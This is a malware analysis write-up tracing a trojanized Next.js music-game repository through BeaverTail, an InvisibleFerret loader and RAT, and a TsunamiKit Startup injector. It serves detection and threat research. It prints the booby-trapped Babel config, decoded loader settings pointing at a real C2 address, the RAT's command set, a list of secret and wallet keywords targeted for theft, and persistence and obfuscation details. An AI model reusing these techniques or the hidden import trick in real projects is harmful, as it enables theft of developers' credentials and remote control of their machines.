Technical malware analysis · 30 October 2026
A seemingly ordinary Next.js memory game led to a multi-stage infection built around JavaScript, a private Python runtime, a remote-access backdoor, and an unusually elaborate TsunamiKit loader. Recovered samples connect the BeaverTail–InvisibleFerret toolchain to an embedded TsunamiInjector that conceals 1,000 Pastebin profile URLs and prepares a misleading Runtime Broker.exe installer.
The most striking result is a direct source-level link between two recovered files: the obfuscated Startup script decodes to the same TsunamiInjector template embedded in the bow component. Its normalized plaintext SHA-256 is identical on both sides. This makes it possible to reconstruct much of the attack from actual recovered artifacts, rather than relying on campaign descriptions alone.
The case fits the Contagious Interview / DeceptiveDevelopment ecosystem described by Unit 42, Group-IB and ESET. Those researchers have tied the campaign to North Korea-aligned operations, frequently discussed under the wider Lazarus umbrella. The evidence here supplies an additional, specific example of the same tooling and techniques. [1][2][3]
Contents: Infection chain · Reverse engineering · Infrastructure and research · Annotated decoded code · IOCs and technical reference · References
The infection in two minutes
The starting point was a JavaScript repository presented as an audio memory game. A preserved development-shell history contains a clone operation for:
hxxps://bitbucket[.]org/md-15/music-game[.]git The recorded workflow then includes npm run dev, npm install, and a retry with npm install --legacy-peer-deps. An npm dependency-resolution report for memaudio@1.19.0 and a VS Code workspace tied to music-game place this activity immediately before a burst of suspicious file creation.
| 11 February 2025 (CET) | Recovered event |
|---|---|
| ~13:07 | Development workspace and repository workflow associated with music-game |
| 13:08:02 | npm dependency-resolution artifact |
| 13:09:15 | Thousands of files for a bundled Python 3.11 runtime appear in .pyp |
| 13:09:17 | Obfuscated loader .npl appears |
| 13:09:18 | .n2/pay, the Python remote-access component, appears |
| 13:09:19 | .n2/bow, the TsunamiKit-bearing component, appears |
| 13:09:20 | Windows Update Script.pyw is created under the user's Startup directory |
The on-disk Python environment accounts for approximately 6,551 files in the initial creation-time cluster. These aren't thousands of separate payloads: most are interpreter and library files packaged to make the Python stages self-sufficient.
Trojanized music-game project └─ Babel configuration → __mocks__/audio-config.js (obfuscated JavaScript) ├─ .pyp/ Bundled Python 3.11 environment └─ .npl InvisibleFerret loader ├─ .n2/pay RAT, file collection, input capture │ └─ 144.172.97.7 HTTP :1224 / TCP :2249 └─ .n2/bow Modified module carrying TsunamiInjector └─ Startup/Windows Update Script.pyw ├─ 1,000 encoded Pastebin profile URLs └─ Runtime Broker.exe (later-stage installer target) └─ Later .NET TsunamiKit stages (literature) The diagram shows the files and code relationships recovered in this case. The further .NET stages at the bottom are part of the documented TsunamiKit architecture, rather than binaries recovered from this host.
1. The JavaScript entry point: a hidden dependency in Babel
The later-preserved repository is a legitimate-looking Next.js 12 / React 18 project named memaudio, version 1.19.0. Its most revealing file is not an obviously malicious package or a suspicious postinstall script. It is babel.config.js.
/* bandle config */ const audioConfig = require("./__mocks__/audio-config"); module.exports = { presets: ["next/babel"], plugins: [["styled-components", { ssr: true, displayName: false }]], }; The audioConfig variable is never used. The import exists for its side effect: requiring ./__mocks__/audio-config evaluates that module when Babel loads its configuration. The filename, under a directory usually associated with test fixtures, makes the import appear incidental.
The target __mocks__/audio-config.js is 109,196 bytes of heavily obfuscated JavaScript. Its string tables contain fragments associated with Brave, .pyp, /.npl, the HTTP port 1224, and the C2 address. Its design is consistent with the BeaverTail family, whose job is to collect browser- and wallet-related information and deliver a Python backdoor. The full dynamic JavaScript call graph was not reconstructed, but the separate Python payloads and their tight creation-time sequence establish the next stages in much greater detail.
This is an important distinction from many malicious npm-package incidents. In the archived project, the apparent attack surface is an ordinary application file imported by developer tooling, not one of the six malicious npm distributions described in a separate Logpresso campaign. Developers inspecting a repository may run the build or development server long before reviewing every top-level import. [4]
2. InvisibleFerret's .npl: unpacking the second stage
The first recovered Python script, %USERPROFILE%\.npl, is only 6,503 bytes in its obfuscated form. It expands to 1,988 bytes of readable Python after 64 rounds of the same reversed Base64 and zlib wrapper.
The decoded configuration identifies the controller and campaign selectors:
sType = "10" gType = "102" host1 = "144.172.97.7" host2 = f"http://{host1}:1224" pd = os.path.join(home, ".n2") Its behavior is straightforward. It detects the host operating system, ensures the requests library is available, creates .n2, and downloads two Python modules. On Windows, each is started using the bundled Python interpreter with console-window suppression flags.
| Download path | Saved file | Purpose |
|---|---|---|
/payload/10/102 | .n2/pay | Main InvisibleFerret backdoor |
/brow/10/102 | .n2/bow | Browser-module slot, replaced here by a TsunamiKit-bearing loader |
The plain filenames matter: neither pay nor bow needs a .py extension to be launched by Python. A search limited to Python extensions would miss them.
The loader contains several commented-out references to private address 10.10.51.212. They are development remnants, not the configured external C2. The active server address in the recovered source is 144.172.97.7.
3. InvisibleFerret's pay: a full remote-access backdoor
The second component, %USERPROFILE%\.n2\pay, is 22,235 bytes on disk and 27,637 bytes after 64 decoding rounds. It contains the most direct evidence of what the attackers could do after the first-stage installation.
At startup, it builds a host identifier using the computer's hostname, username and a SHA-256-derived machine fingerprint. It also queries ip-api[.]com/json for external-IP geolocation and prepares registration data for the C2's /keys endpoint.
The outbound registration is structured around these fields:
{ "ts": "<milliseconds since epoch>", "type": "10", "hid": "102_<hostname>", "ss": "sys_info", "cc": "<stringified system and network details>" } A custom TCP control channel
After registration, pay runs a persistent client that attempts to connect to 144.172.97.7:2249. Unlike the HTTP stage downloader, this is a custom, length-prefixed JSON socket protocol:
┌─────────────────────────────┬─────────────────────────────────┐ │ 4-byte big-endian length │ JSON command / response body │ └─────────────────────────────┴─────────────────────────────────┘ {"code": 1, "args": "..."} The decoded source uses Python's struct.pack('>I', ...) for the message length, announces the host with a code-0 message, and starts a worker thread when a recognized controller command arrives. The reconnect loop allows the component to resume contact after temporary failures.
Eight commands recovered from the sample
The command dispatcher matches the function names published by Group-IB, providing a particularly strong code-level family correlation. [2]
| Code | Handler | Decoded capability |
|---|---|---|
1 | ssh_obj | Execute shell commands and return output or errors |
2 | ssh_cmd | Terminate Python processes |
3 | ssh_clip | Return the buffered keyboard/clipboard capture |
4 | ssh_run | Re-download and start the /brow/10/102 module |
5 | ssh_upload | Upload chosen files, directories, or filename-pattern matches |
6 | ssh_kill | Terminate Chrome and Brave processes |
7 | ssh_any | Retrieve and launch an additional /adc/10 module |
8 | ssh_env | Find and upload developer .env files |
Command 1 uses shell-backed subprocess execution and reports the resulting text. Command 3 transmits the input buffer. Commands 5 and 8 transfer local files to the HTTP endpoint /uploads. Command 7's path and name correspond to an AnyDesk-related auxiliary module discussed in related research; the adc binary was not part of the recovered files.
Developer secrets are an explicit target
The pay source includes a target-term array covering .env, config.js, secret, metamask, wallet, private, mnemonic, password, and account, alongside document extensions such as .xls, .xlsx, .doc, and .docx.
The ssh_env routine can scan drive letters C: through G: for *.env files and send matching content to the controller. It skips large classes of irrelevant or noisy directories, including node_modules, .git, build output, and various caches. The targeting makes sense for developer workstations: environment files routinely contain database URLs, API keys, secrets and deployment credentials.
Keyboard and clipboard interception
The Windows-specific portion imports pyHook through pyWinhook, uses pywin32 to inspect the active foreground window, and calls pyperclip around clipboard interactions. The recovered hook names are KeyDown, MouseLeftDown, and MouseRightDown. A callback records window and process context before appending captured keystrokes to an in-memory buffer.
This input-monitoring functionality is directly present in the recovered Python code, not merely inferred from a library filename. It is one of the clearest reasons to regard pay as an interactive information-stealing RAT rather than a simple downloader.
4. The unexpected payload in bow: TsunamiKit
Historically, InvisibleFerret's bow module often handles browser-data theft. The recovered %USERPROFILE%\.n2\bow, however, takes a different form. Its 257,995-byte wrapper requires 114 decoding rounds and yields 205,768 bytes of Python source. Most of that source is an embedded, roughly 199 KB script called TSUNAMI_INJECTOR_SCRIPT.
It begins with a distinctive quotation about the value of a moment, which ESET also identifies in its discussion of TsunamiLoader. More importantly, it contains the generator for the very Startup payload independently recovered in this case. [3]
The loader checks for a system Python installation, has a fallback for downloading the official Python 3.11.0 installer, and uses Windows' runas verb to request administrative installation when needed. Separately, it constructs a 50-layer obfuscated copy of the embedded injector and places it at:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw The presence of both a portable .pyp runtime and a system-Python installation fallback is notable: the former gets InvisibleFerret running without relying on preinstalled tools; the latter is part of the TsunamiKit loader's own installation logic.
Direct proof that bow generated the Startup payload
Two separately recovered samples were decoded:
-
bow: 114 layers, yielding a source string namedTSUNAMI_INJECTOR_SCRIPT. -
Windows Update Script.pyw: 50 layers, yielding the actual installed injector plaintext.
The generator substitutes a randomized RandVar numeric value before writing the second file. When that one changing value is normalized to a placeholder, the sources are identical. Both normalize to SHA-256:
c571be1970eadbe808bc5d18f91d70af482b9bb14366dca66dcdbb88f9058e33 This is the strongest within-case linkage: bow is not just similar to the Startup script; its embedded source is the exact template from which that file was produced.
5. Inside TsunamiInjector: 1,000 Pastebin profiles and Runtime Broker.exe
The recovered Startup payload is 123,030 bytes in obfuscated form and 198,658 bytes after 50 decoding rounds. Its main job is to resolve an encoded installer location, unpack another payload, and prepare a persistent task under a misleading Windows-like name.
The encoded infrastructure
One function contains precisely 1,000 encoded strings. Each string can be decoded without executing the malware:
Hex string ↓ Hex-decoded bytes ↓ XOR with repeating key Base64 bytes ↓ decode, then reverse HTTPS Pastebin profile URL The embedded XOR key is unusually distinctive:
!!!HappyPenguin1950!!! All 1,000 decoded entries point to pastebin[.]com/u/ profile URLs. Examples from the recovered array include:
hxxps://pastebin[.]com/u/FileplanetPhilosophy7264_LegendAccidental6833 hxxps://pastebin[.]com/u/OccupiedColombia9504_AssessOutdoors1323 hxxps://pastebin[.]com/u/SucceedMarilyn6486_CompoundsPrelude4368 The intended loader searches a candidate page for another URL, then uses that value as a location from which to obtain the next installer. The profiles act as an indirection layer between the initial malware and its later-stage binary.
The full list of 1,000 profiles was decoded offline; representative entries are shown above. It is not reproduced in full in this post.
The misleading executable and scheduled task
The injector targets an executable named Runtime Broker.exe—with a space—inside a user-writable application directory:
%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe This differs from Microsoft's normal C:\Windows\System32\RuntimeBroker.exe and is intended to resemble a legitimate Windows process at a glance.
The helper code sets up a scheduled task named Runtime Broker that would execute the AppData binary at user logon. It also contains PowerShell logic for adding Microsoft Defender exclusion paths for the installer, another client location and an msedge.exe-named miner location. Administrative operations are requested through the standard Windows UAC runas mechanism, with retries if elevation is not granted.
The installer download path includes a reverse-bytes plus gzip decoding step for the retrieved content. ESET describes the subsequent .NET components as TsunamiInstaller, TsunamiClientInstaller, and TsunamiClient, with additional spying and mining functionality. This case recovers the loader and injector code that lead toward those stages, but not those later binaries. [3]
The combination of the 1,000-profile array, exact XOR key, Runtime Broker.exe location, scheduled task name, and source-level match between bow and the Startup script is a much sharper TsunamiKit fingerprint than the filename alone.
6. Why the bundled Python libraries matter
The .pyp directory contains a Python 3.11 runtime plus specific distributions whose functions map directly to the recovered code.
| Distribution | Version | Role in this case |
|---|---|---|
pyWinhook | 1.6.2 | Keyboard and mouse event hooks, imported by pay |
pyperclip | 1.8.2 | Clipboard access, imported by pay |
pywin32 | 306 | Win32 APIs and message pumping for the hook loop |
psutil | 5.9.5 | Process inspection |
requests | 2.31.0 | Python HTTP requests and uploads |
pycryptodome | 3.18.0 | Cryptography package present in the environment |
urllib3 | 2.0.3 | HTTP dependency |
idna | 3.4 | HTTP dependency |
charset-normalizer | 3.1.0 | HTTP dependency |
certifi | 2023.5.7 | TLS certificate bundle |
pip | 22.3.1 | Python package installer |
setuptools | 65.5.0 | Packaging support |
These packages are not malicious in isolation. Their significance is the combination of a self-contained interpreter dropped alongside a RAT that explicitly imports the hook, clipboard, process and HTTP modules. It explains how an unfamiliar developer system could immediately support the backdoor's Windows-specific features.
7. C2 infrastructure: Cloudzy-hosted HTTP and TCP services
Two ports on a single embedded IPv4 address divide the responsibilities of the recovered chain:
| Indicator | Component | Function |
|---|---|---|
144.172.97.7:1224 | .npl / pay | HTTP staging, registration and uploads |
144.172.97.7:2249 | pay | Persistent, framed-JSON remote control |
/payload/10/102 | .npl | Retrieve pay |
/brow/10/102 | .npl / pay | Retrieve bow |
/keys | pay | Register the compromised host |
/uploads | pay | Send selected files |
/adc/10 | pay | Request an additional auxiliary module |
Public range records place 144.172.97.7 in 144.172.97.0/24, announced by AS14956 (RouterHosting LLC), with reverse DNS of 7.97.172.144.static.cloudzy.com. That makes this a Cloudzy-associated VPS address, consistent with the inexpensive hosted infrastructure used by many malware operations. [5]
The external-IP geolocation service ip-api[.]com/json is a separate, legitimate service called by pay to enrich host details; it is not the main C2.
What the network design tells us
InvisibleFerret uses HTTP for discrete transfers and host registration, while its continuously reconnecting TCP client provides interactive command-and-control. The campaign selectors 10 and 102 appear in both the downloader paths and registration identifiers. These values are useful for correlating the recovered stages with each other.
The server IP is a case-specific technical indicator. The InvisibleFerret command set and the TsunamiKit source structures, rather than the hosting provider on its own, establish the family relationship.
8. Where the case intersects published research
The recovered files fit an established research chronology:
Unit 42 (2023) introduced Contagious Interview, BeaverTail and InvisibleFerret, describing an attacker who sends software developers a trojanized project and runs a Python backdoor after an apparently normal development task. The .pyp and .npl installation pattern in this case matches that delivery design. [1]
Group-IB (September 2024) documented web-game lures and the pay command names ssh_obj, ssh_cmd, ssh_clip, ssh_run, ssh_upload, ssh_kill, ssh_any and ssh_env. All eight handlers appear in this recovered pay variant. Group-IB also reported revisions with additional commands and other exfiltration mechanisms; the recovered sample is an eight-command variant with HTTP uploads. [2]
ESET (February 2025) described DeceptiveDevelopment campaigns targeting freelance developers through trojanized source projects. A music-game repository fits the class of lure described in that research, without needing to assume a specific recruiter or message platform. [6]
ESET / Virus Bulletin (September 2025) documented TsunamiKit entering the chain through a modified InvisibleFerret bow module. The recovered bow/injector pair reproduces the distinctive loader structure, encoded Pastebin profiles, XOR key and Runtime Broker.exe persistence specification. This is the closest technical match in the published literature. [3]
Other research from GitLab, NVISO, Atlassian and Logpresso shows how the broader campaign's initial delivery evolved, including additional repositories, ClickFix and malicious npm packages. Those variants provide background context; they are not needed to explain the recovered February 2025 chain. [4][7][8]
9. Indicators, hashes and detection opportunities
These are the recovered case's SHA-256 values, rather than hashes borrowed from other publications.
| Recovered artifact | SHA-256 |
|---|---|
.npl | 97fc2d5744d4a8a776260a6304f35d74017f6db43f77510297aa2977ebde6037 |
.n2/pay | ae0bd0b75659ee1c13acfbbf8f4b887f131f2feb89d4264b20a8dedbf7d8a879 |
.n2/bow | 54400afac62458d8bab19889882a4bd5191e1b01c5fe9acdb1ade29d478b136c |
| Startup TsunamiInjector | 0e306696c35f9ddf50cd3bbe0b09ac4f1532c52e928e54db6a35c6371892f43c |
Archived __mocks__/audio-config.js | ca9ccd8aa46e3a6647237991774b872d665c24b69ea979922350d7794a087ccb |
Archived babel.config.js | 2dc95e33aa626a314e0fc6c7ec5c9b1aa2f2c4583e069e69abf5cfa8add5cde7 |
High-value detection combinations are:
- A nonstandard
%USERPROFILE%\.pyp\python.exeappearing alongside.npland.n2/paywithin minutes. - Python executing a hidden, extensionless
payorbowfile from.n2. - Outbound connections from that Python environment to
144.172.97.7, particularly TCP 1224 or 2249. - A Startup file named
Windows Update Script.pywor a task namedRuntime Brokerpointing into user AppData. - Deobfuscated code containing
!!!HappyPenguin1950!!!, the Tsunami installer variables, and the 1,000-entry encoded Pastebin array.
Full SHA-1/SHA-256 records, additional paths, ATT&CK mappings, and the decoded profile list are included with the technical supplement.
Conclusion
This case documents a coherent, recovered malware chain: a developer project with an anomalous Babel import; an InvisibleFerret Python runtime and loader; a command-capable pay backdoor with developer-secret and input-capture functions; and a modified bow carrying a TsunamiKit injector.
The most distinctive finding is the directly verified relationship between bow and the separate Startup script: they contain the same normalized TsunamiInjector source, including the 1,000 encoded Pastebin profiles and the Runtime Broker persistence design. The eight-command InvisibleFerret dispatcher, stage paths and network roles independently align with Group-IB and Unit 42. Together, these features strongly associate the tooling with the North Korea-aligned DeceptiveDevelopment / Contagious Interview activity cluster.
Scope in brief. The original February 2025 source-tree revision and historical packet-level network telemetry are not available, and the later .NET Tsunami binaries were not recovered. Accordingly, the analysis establishes the malware's installed components and capabilities, but does not assign an exact last-active date or quantify stolen data. The original samples were decoded statically without executing them, and identifying host details have been excluded.
Appendix A — Annotated decoded code
The following excerpts were produced by offline static decoding of recovered samples. Code blocks show short excerpts or non-executing explanatory logic rather than complete runnable payloads.
Sample inventory
| Recovered sample | Original size | Layers removed | Plaintext size | Plaintext lines |
|---|---|---|---|---|
.npl | 6,503 B | 64 | 1,988 B | 59 |
.n2/pay | 22,235 B | 64 | 27,637 B | 626 |
.n2/bow | 257,995 B | 114 | 205,768 B | 1,671 |
Windows Update Script.pyw | 123,030 B | 50 | 198,658 B | 1,444 |
The wrapper used across the Python stages is recognizable from its imports and evaluation sequence. A static reader can reverse the encoded byte string, Base64-decode it, and zlib-decompress it repeatedly, saving the final plaintext as data instead of evaluating it.
# Non-executing illustration of one wrapper layer. # The input is the bytes literal recovered from the wrapper AST. reversed_bytes = encoded_literal[::-1] base64_bytes = base64.b64decode(reversed_bytes) next_source_text = zlib.decompress(base64_bytes) The bow component contains its own source-obfuscation generator, which first substitutes a random numeric value into RandVar, then wraps the next source with the same compression/Base64/reversal sequence. The generator performs 50 rounds for its Startup payload; this matches the separate recovered Startup script's decoding depth.
1. JavaScript: build configuration and the disguised fixture
Source: preserved music-game/babel.config.js from a later archive.
/* bandle config */ const audioConfig = require("./__mocks__/audio-config"); module.exports = { presets: ["next/babel"], plugins: [["styled-components", { ssr: true, displayName: false }]], }; The requested module __mocks__/audio-config.js is a 109,196-byte obfuscated JavaScript artifact dominated by _0x...-style identifiers, computed string references and encoding. It contains fragments related to browser names and the Python deployment paths (.pyp, .npl), and includes the port/address string components observed in the Python stage.
Code relation: babel.config.js → top-level require(...) → obfuscated JavaScript fixture. The archived JavaScript was inspected without executing it and was not completely deobfuscated to an unobfuscated, line-for-line BeaverTail source. Its relationship to the Python chain is supported by the matching development workflow and tight filesystem timeline; the recovered Python stages provide the detailed behavioral picture.
2. .npl: decoded loader
Source: %USERPROFILE%\.npl, decoded lines 1–16 and 42–59.
sType = "10" gType = "102" ot = platform.system() home = os.path.expanduser("~") host1 = "144.172.97.7" host2 = f"http://{host1}:1224" pd = os.path.join(home, ".n2") ap = pd + "/pay" The two downloader functions (download_payload and download_browse) take their stage paths from these variables. The first requests /payload/10/102, writes the response to .n2/pay, and runs it with the current Python interpreter; the second does the same for /brow/10/102 and .n2/bow. Windows invocation uses CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP. On macOS, the code exits before loading bow.
Four commented-out host1 = "10.10.51.212" assignments are present. That private address is not used by the executing assignments in this source. Another commented path, /payload1/, likewise remains unused.
3. .n2/pay: fingerprinting and registration
Source: pay, decoded lines 10–69.
The source defines HostInfo, Position, SysInfo and Trans. The original machine-ID expression is compact:
def getID(A): return sha256((str(getnode()) + getuser()).encode()).digest().hex() The resulting host context includes system name, release, version, hostname, username and a derived identifier. Position.get_geo calls http://ip-api.com/json and collects location/network fields such as country, timezone, ISP, and IP; the internal-IP helper uses the local socket hostname.
The registration request has these literal field names:
{ 'ts': '<milliseconds>', 'type': sType, 'hid': hn, 'ss': 'sys_info', 'cc': str(system_information), } The destination is the sample's HTTP C2 /keys path on port 1224. Note the conversion of the system information to a string in cc, rather than a nested structured object.
4. .n2/pay: remote-control transport
Source: decoded lines 85–123, 237–280, and 505–525.
Session.connect opens the socket and announces a code-0 message. Session.sendall prefixes each JSON body with a network-order unsigned 32-bit length:
# Selected original framing statements (not a socket implementation) ii = struct.pack('>I', len(ii)) + ii # ... ml = struct.unpack('>I', ll)[0] The receiving client decodes the JSON structure {'code': ..., 'args': ...}, selects a method through a Shell.cmds mapping and starts a new thread. The client class reconnects to port 2249 after failure or disconnection.
| Command | Handler | Functionality found in decoded source |
|---|---|---|
| 1 | ssh_obj | Uses shell-backed subprocess.Popen, captures stdout/stderr, recognizes cd |
| 2 | ssh_cmd | Invokes Python process termination on Windows or Unix-like platforms |
| 3 | ssh_clip | Sends/clears captured event buffer e_buf |
| 4 | ssh_run | Downloads and runs the bow module |
| 5 | ssh_upload | Upload requested files, directories or search results |
| 6 | ssh_kill | Targets Chrome and Brave processes |
| 7 | ssh_any | Downloads/launches .n2/adc from /adc/10 |
| 8 | ssh_env | Searches existing drives C–G for *.env, then uploads matches |
Relevant classes and functions: Shell, Client, Session, ssh_obj, ssh_cmd, ssh_clip, bro_down, ssh_run, ss_hup, ss_upf, ss_ufind, ssh_env, ssh_kill, down_any, ssh_any.
Developer-file targeting
Source: decoded lines 134–138 and 442 onward.
pat_envs = [ '.env', 'config.js', 'secret', 'metamask', 'wallet', 'private', 'mnemonic', 'password', 'account', '.xls', '.xlsx', '.doc', '.docx', '.rtf' ] The implementation filters common bulky development and system directories while looking for matches. The exclusions include vendor, node_modules, .git, .next, common build directories and operating-system paths. The upload code uses multipart form field multi_file, attaches campaign-specific host fields, and addresses /uploads over HTTP.
An upload-bookkeeping path, .n2/flist, also appears as an optional file name, but no populated upload-list artifact was recovered from this case.
Windows event hooks and clipboard
Source: decoded lines 551–619.
The recovered symbols include:
act_win_pn foreground process/window information check_window active-window change bookkeeping hmld MouseLeftDown callback hmrd MouseRightDown callback hkb KeyDown callback run_copy_clipboard clipboard capture helper startHk / hk_loop hook registration and message loop The hook names are MouseLeftDown, MouseRightDown, and KeyDown; the code stores event data in the e_buf buffer, samples clipboard content through pyperclip, and annotates the active process/window name via Windows APIs. check_window formats a timezone using UTC+9, a distinctive hardcoded display setting in this variant.
The actual imports and fallbacks reference pyWinhook, pyperclip, psutil, and pywin32 (with the hook library imported under the pyHook API name). This connects the installed Python package metadata to specific functions in the payload.
5. .n2/bow: the embedded TsunamiInjector generator
Source: decoded lines 1–20 and 1494–1662.
The decoded loader opens with this short text:
Sometimes you never know the value of a moment until it becomes a memory Most of the source consists of TSUNAMI_INJECTOR_SCRIPT, an embedded next-stage template. The loader also defines obfuscate_script, is_python_installed, execute_python_with_uac, and install_python.
The final write operation in the source is:
# Exact source statements, shown without the surrounding executable flow with open(TSUNAMI_INJECTOR_PATH, "w") as Source:https://dev.to/0one/inside-a-trojanized-nextjs-project-beavertail-invisibleferret-and-a-hidden-tsunamikit-loader-815Related posts
